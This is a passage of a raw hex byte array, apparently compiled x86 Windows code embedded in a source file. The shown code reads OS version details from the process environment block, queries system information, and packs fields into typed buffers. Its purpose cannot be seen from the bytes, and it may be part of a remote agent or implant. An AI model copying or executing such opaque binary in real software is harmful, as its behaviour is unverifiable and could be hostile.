xCC,0x08,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0x8B,0x45,0xCC,0x89,0x45,0xE4,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xAC,0x00,0x00,0x00,0x00,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0x98,0x00,0x00,0x00,0x00,0xC7,0x45,0x9C,0x00,0x00,0x00,0x00,0xC7,0x45,0xA0,0x00,0x00,0x00,0x00,0xC7,0x45,0xA4,0x00,0x00,0x00,0x00,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x01,0x00,0x00,0xC0,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x60,0xE9,0x48,0x65,0xE8,0xD8,0xBF,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x1E,0xC1,0xA5,0x11,0x89,0x04,0x24,0xE8,0x47,0xBE,0xFF,0xFF,0x89,0x45,0xD4,0x83,0x7D,0xD4,0x00,0x0F,0x84,0x28,0x03,0x00,0x00,0x8B,0x45,0x08,0x85,0xC0,0x75,0x2F,0xC7,0x45,0xE8,0x01,0x00,0x00,0x00,0x8D,0x45,0x08,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0xE8,0x86,0xF6,0xFF,0xFF,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x0F,0x88,0xF5,0x02,0x00,0x00,0x8B,0x45,0xCC,0x89,0x45,0xE4,0x8B,0x5D,0xCC,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xC2,0x02,0x00,0x00,0x8B,0x55,0xCC,0x8B,0x45,0x08,0x8D,0x4D,0xCC,0x89,0x4C,0x24,0x10,0x89,0x54,0x24,0x0C,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x03,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x2B,0xF8,0xFF,0xFF,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x79,0x59,0x83,0x7D,0xF0,0x00,0x74,0x44,0x8B,0x45,0xE4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xBE,0x31,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xE0,0x23,0x00,0x00,0xC0,0x0F,0x84,0x42,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0xE0,0x00,0x0F,0x88,0x30,0x02,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xE9,0x0B,0x02,0x00,0x00,0x8B,0x4D,0xF0,0x8B,0x55,0xF4,0x89,0xD0,0x01,0xC0,0x01,0xD0,0xC1,0xE0,0x02,0x01,0xC8,0x8B,0x50,0x04,0x89,0x55,0xBC,0x8B,0x50,0x08,0x89,0x55,0xC0,0x8B,0x40,0x0C,0x89,0x45,0xC4,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0x8D,0x45,0xC8,0x89,0x44,0x24,0x0C,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x8D,0x45,0xBC,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x00,0x00,0x00,0x00,0x8B,0x45,0xD4,0xFF,0xD0,0x83,0xEC,0x10,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x85,0xCB,0x01,0x00,0x00,0xA1,0x34,0x61,0x49,0x65,0xFF,0xD0,0x83,0xF8,0x7A,0x0F,0x85,0xBB,0x01,0x00,0x00,0x8B,0x45,0xC8,0x83,0xC0,0x01,0x89,0x45,0xC8,0x8B,0x45,0xC8,0x8D,0x1C,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0x82,0x01,0x00,0x00,0x8D,0x45,0xC8,0x89,0x44,0x24,0x0C,0x8B,0x45,0xEC,0x89,0x44,0x24,0x08,0x8D,0x45,0xBC,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x00,0x00,0x00,0x00,0x8B,0x45,0xD4,0xFF,0xD0,0x83,0xEC,0x10,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0x54,0x01,0x00,0x00,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8B,0x45,0xEC,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x0F,0x85,0xBE,0x00,0x00,0x00,0xC7,0x45,0xD8,0x01,0x00,0x00,0x00,0xC7,0x45,0x98,0x01,0x00,0x00,0x00,0x8B,0x45,0xBC,0x8B,0x55,0xC0,0x89,0x45,0xA0,0x89,0x55,0xA4,0x8B,0x45,0xC4,0x89,0x45,0xA8,0x8B,0x45,0x08,0x8D,0x55,0xD0,0x89,0x54,0x24,0x08,0x8D,0x55,0x98,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x39,0xF9,0xFF,0xFF,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x79,0x0C,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xE9,0xEE,0x00,0x00,0x00,0x8B,0x45,0xD0,0x85,0xC0,0x75,0x66,0x83,0x7D,0x10,0x00,0x74,0x60,0xC7,0x45,0xAC,0x01,0x00,0x00,0x00,0x8B,0x45,0xBC,0x8B,0x55,0xC0,0x89,0x45,0xB0,0x89,0x55,0xB4,0xC7,0x45,0xB8,0x02,0x00,0x00,0x00,0x8B,0x45,0x08,0xC7,0x44,0x24,0x14,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x10,0x00,0x00,0x00,0x8D,0x55,0xAC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x69,0xF4,0xFF,0xFF,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x0F,0x88,0x87,0x00,0x00,0x00,0xC7,0x45,0xD0,0x01,0x00,0x00,0x00,0x90,0xEB,0x7E,0x83,0x7D,0xEC,0x00,0x74,0x4E,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0xFA,0x2F,0x00,0x00,0x01,0xC0,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x91,0x2F,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x83,0x45,0xF4,0x01,0x8B,0x45,0xF0,0x8B,0x00,0x39,0x45,0xF4,0x0F,0x82,0xE7,0xFD,0xFF,0xFF,0xEB,0x16,0x90,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xF0,0x00,0x74,0x4A,0x83,0x7D,0xF0,0x00,0x74,0x44,0x8B,0x45,0xCC,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x17,0x2F,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0xEC,0x00,0x74,0x54,0x83,0x7D,0xEC,0x00,0x74,0x4E,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x26,0x2F,0x00,0x00,0x01,0xC0,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0xBD,0x2E,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x83,0x7D,0xE8,0x00,0x74,0x12,0x8B,0x45,0x08,0x85,0xC0,0x74,0x0B,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x8E,0xF2,0xFF,0xFF,0x8B,0x45,0xD0,0x8B,0x5D,0xFC,0xC9,0xC3,0x90,0x90,0x90,0x55,0x89,0xE5,0x83,0xEC,0x28,0x8B,0x45,0x08,0x8B,0x40,0x04,0x89,0xC2,0x8B,0x45,0x0C,0x01,0xD0,0x89,0x45,0xF4,0x8B,0x45,0x14,0x89,0x44,0x24,0x08,0x8B,0x45,0x10,0x89,0x44,0x24,0x04,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0x39,0x2E,0x00,0x00,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0x8B,0x45,0x08,0x8B,0x50,0x08,0x8B,0x45,0x10,0x01,0xD0,0x89,0x45,0xF4,0x8B,0x45,0x08,0x8B,0x40,0x08,0x39,0x45,0xF4,0x73,0x1F,0xC7,0x04,0x24,0x7C,0xE9,0x48,0x65,0xE8,0x27,0x9C,0xFF,0xFF,0xC7,0x04,0x24,0xAC,0xE9,0x48,0x65,0xE8,0x1B,0x9C,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x5B,0x8B,0x45,0x08,0x8B,0x40,0x0C,0x39,0x45,0xF4,0x72,0x1F,0xC7,0x04,0x24,0xB0,0xE9,0x48,0x65,0xE8,0xFD,0x9B,0xFF,0xFF,0xC7,0x04,0x24,0xAC,0xE9,0x48,0x65,0xE8,0xF1,0x9B,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x31,0x8B,0x45,0x08,0x8B,0x40,0x08,0x8B,0x55,0x10,0x89,0x54,0x24,0x0C,0x8B,0x55,0x0C,0x89,0x54,0x24,0x08,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x43,0xFF,0xFF,0xFF,0x8B,0x45,0x08,0x8B,0x55,0xF4,0x89,0x50,0x08,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x68,0xB9,0x00,0x00,0x00,0x00,0xB8,0x20,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD4,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0x8B,0x45,0x08,0x8B,0x40,0x10,0x89,0x45,0xD4,0x8B,0x45,0x08,0x0F,0xB7,0x40,0x14,0x66,0x89,0x45,0xD8,0x8B,0x45,0x08,0x0F,0xB7,0x40,0x16,0x66,0x89,0x45,0xDA,0xC7,0x45,0xDC,0x03,0x00,0x00,0x00,0xC7,0x45,0xE0,0x20,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0xD4,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x0F,0xB7,0x45,0xD8,0x66,0x89,0x02,0x83,0x45,0xF4,0x02,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x0F,0xB7,0x45,0xDA,0x66,0x89,0x02,0x83,0x45,0xF4,0x02,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0xDC,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0xE0,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0xE4,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0xE8,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0xEC,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xB4,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0xF0,0x89,0x02,0xC7,0x44,0x24,0x08,0x20,0x00,0x00,0x00,0x8D,0x45,0xB4,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x05,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8D,0x55,0xE8,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0x0C,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xE8,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0x10,0x89,0x02,0x83,0x45,0xF4,0x04,0x8D,0x55,0xE8,0x8B,0x45,0xF4,0x01,0xC2,0x8B,0x45,0x14,0x89,0x02,0xC7,0x44,0x24,0x08,0x0C,0x00,0x00,0x00,0x8D,0x45,0xE8,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x88,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x48,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x07,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x44,0x24,0x04,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0x8B,0x45,0xF4,0x89,0x44,0x24,0x0C,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x33,0xFF,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAF,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x04,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x8B,0x45,0xE0,0x89,0x44,0x24,0x04,0x8B,0x45,0xE4,0x89,0x44,0x24,0x08,0x8B,0x45,0xE8,0x89,0x44,0x24,0x0C,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xDB,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x5A,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x09,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x8B,0x45,0xD4,0x89,0x44,0x24,0x04,0x8B,0x45,0xD8,0x89,0x44,0x24,0x08,0x8B,0x45,0xDC,0x89,0x44,0x24,0x0C,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x86,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x81,0xEC,0xC4,0x00,0x00,0x00,0x8D,0x55,0x9C,0xB8,0x00,0x00,0x00,0x00,0xB9,0x0E,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x45,0xD8,0x30,0x00,0x00,0x00,0x8B,0x45,0xD8,0x64,0x8B,0x00,0x89,0x45,0xD4,0x8B,0x45,0xD4,0x89,0x45,0xF4,0x8B,0x45,0xF4,0x05,0xA4,0x00,0x00,0x00,0x89,0x45,0xF0,0x8B,0x45,0xF4,0x05,0xA8,0x00,0x00,0x00,0x89,0x45,0xEC,0x8B,0x45,0xF4,0x05,0xAC,0x00,0x00,0x00,0x89,0x45,0xE8,0x8B,0x45,0xF4,0x05,0xB0,0x00,0x00,0x00,0x89,0x45,0xE4,0x8B,0x45,0xF4,0x05,0xF0,0x01,0x00,0x00,0x89,0x45,0xE0,0x66,0xC7,0x45,0x9C,0x00,0x00,0x66,0xC7,0x45,0x9E,0x00,0x00,0x66,0xC7,0x45,0xA0,0x00,0x00,0xC6,0x45,0xA2,0x00,0xC6,0x45,0xA3,0x01,0x8B,0x45,0xF0,0x8B,0x00,0x89,0x45,0xA4,0x8B,0x45,0xEC,0x8B,0x00,0x89,0x45,0xA8,0x8B,0x45,0xE8,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x89,0x45,0xAC,0x8B,0x45,0xE4,0x8B,0x00,0x89,0x45,0xB0,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0x66,0xC7,0x45,0xB8,0x00,0x00,0x66,0xC7,0x45,0xBA,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0x98,0x38,0x00,0x00,0x00,0xC7,0x85,0x60,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x64,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x68,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x6C,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x70,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x74,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x78,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x7C,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x45,0x80,0x00,0x00,0x00,0x00,0xC7,0x45,0x84,0x00,0x00,0x00,0x00,0xC7,0x45,0x88,0x00,0x00,0x00,0x00,0xC7,0x45,0x8C,0x00,0x00,0x00,0x00,0xC7,0x45,0x90,0x00,0x00,0x00,0x00,0xC7,0x45,0x94,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB7,0x45,0x9C,0x66,0x89,0x02,0x83,0x45,0xDC,0x02,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB7,0x45,0x9E,0x66,0x89,0x02,0x83,0x45,0xDC,0x02,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB7,0x45,0xA0,0x66,0x89,0x02,0x83,0x45,0xDC,0x02,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB6,0x45,0xA2,0x88,0x02,0x83,0x45,0xDC,0x01,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB6,0x45,0xA3,0x88,0x02,0x83,0x45,0xDC,0x01,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xA4,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xA8,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xAC,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xB0,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xB4,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB7,0x45,0xB8,0x66,0x89,0x02,0x83,0x45,0xDC,0x02,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x0F,0xB7,0x45,0xBA,0x66,0x89,0x02,0x83,0x45,0xDC,0x02,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xBC,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xC0,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xC4,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xC8,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xCC,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x45,0xD0,0x89,0x02,0x8B,0x45,0x08,0x8B,0x40,0x08,0x89,0x85,0x5C,0xFF,0xFF,0xFF,0x8B,0x45,0x98,0x89,0x44,0x24,0x08,0x8D,0x85,0x60,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x64,0xF9,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xE6,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x45,0x98,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x24,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x02,0xF9,0xFF,0xFF,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x85,0x5C,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xDD,0xF8,0xFF,0xFF,0x8B,0x45,0x08,0x8B,0x40,0x08,0x89,0x85,0x58,0xFF,0xFF,0xFF,0x8B,0x45,0xE0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x89,0x85,0x54,0xFF,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x04,0x00,0x00,0x00,0x8D,0x85,0x54,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xD7,0xF8,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x5C,0x8B,0x45,0xE0,0x0F,0xB7,0x00,0x0F,0xB7,0xD0,0x8B,0x45,0xE0,0x8B,0x40,0x04,0x89,0x54,0x24,0x08,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xAA,0xF8,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x2F,0x8B,0x85,0x5C,0xFF,0xFF,0xFF,0x8D,0x50,0x18,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x85,0x58,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x08,0x89,0x54,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x43,0xF8,0xFF,0xFF,0xB8,0x01,0x00,0x00,0x00,0x8B,0x7D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x56,0x53,0x81,0xEC,0x5C,0x01,0x00,0x00,0x8D,0x45,0x94,0xBB,0x20,0xD0,0x48,0x65,0xBA,0x12,0x00,0x00,0x00,0x89,0xC7,0x89,0xDE,0x89,0xD1,0xF3,0xA5,0x8B,0x45,0x08,0x8B,0x00,0xC7,0x44,0x24,0x0C,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x12,0x00,0x00,0x00,0x8D,0x55,0x94,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x0B,0xE2,0xFF,0xFF,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x9A,0x05,0x00,0x00,0x8B,0x45,0xE0,0x89,0x45,0xE4,0xC7,0x45,0x90,0x00,0x00,0x00,0x00,0xE9,0xE5,0x00,0x00,0x00,0x8B,0x45,0x90,0x83,0xC0,0x01,0x89,0x45,0x90,0x8B,0x45,0x08,0x8B,0x50,0x08,0x8B,0x45,0xE4,0x89,0x90,0x14,0x02,0x00,0x00,0x8B,0x45,0xE4,0x83,0xC0,0x14,0xC7,0x44,0x24,0x04,0x00,0x02,0x00,0x00,0x89,0x04,0x24,0xE8,0x51,0x21,0x00,0x00,0x89,0x85,0x18,0xFF,0xFF,0xFF,0x8B,0x85,0x18,0xFF,0xFF,0xFF,0x83,0xC0,0x01,0x89,0x85,0x18,0xFF,0xFF,0xFF,0x8B,0x85,0x18,0xFF,0xFF,0xFF,0x01,0xC0,0x89,0x85,0x18,0xFF,0xFF,0xFF,0xC7,0x44,0x24,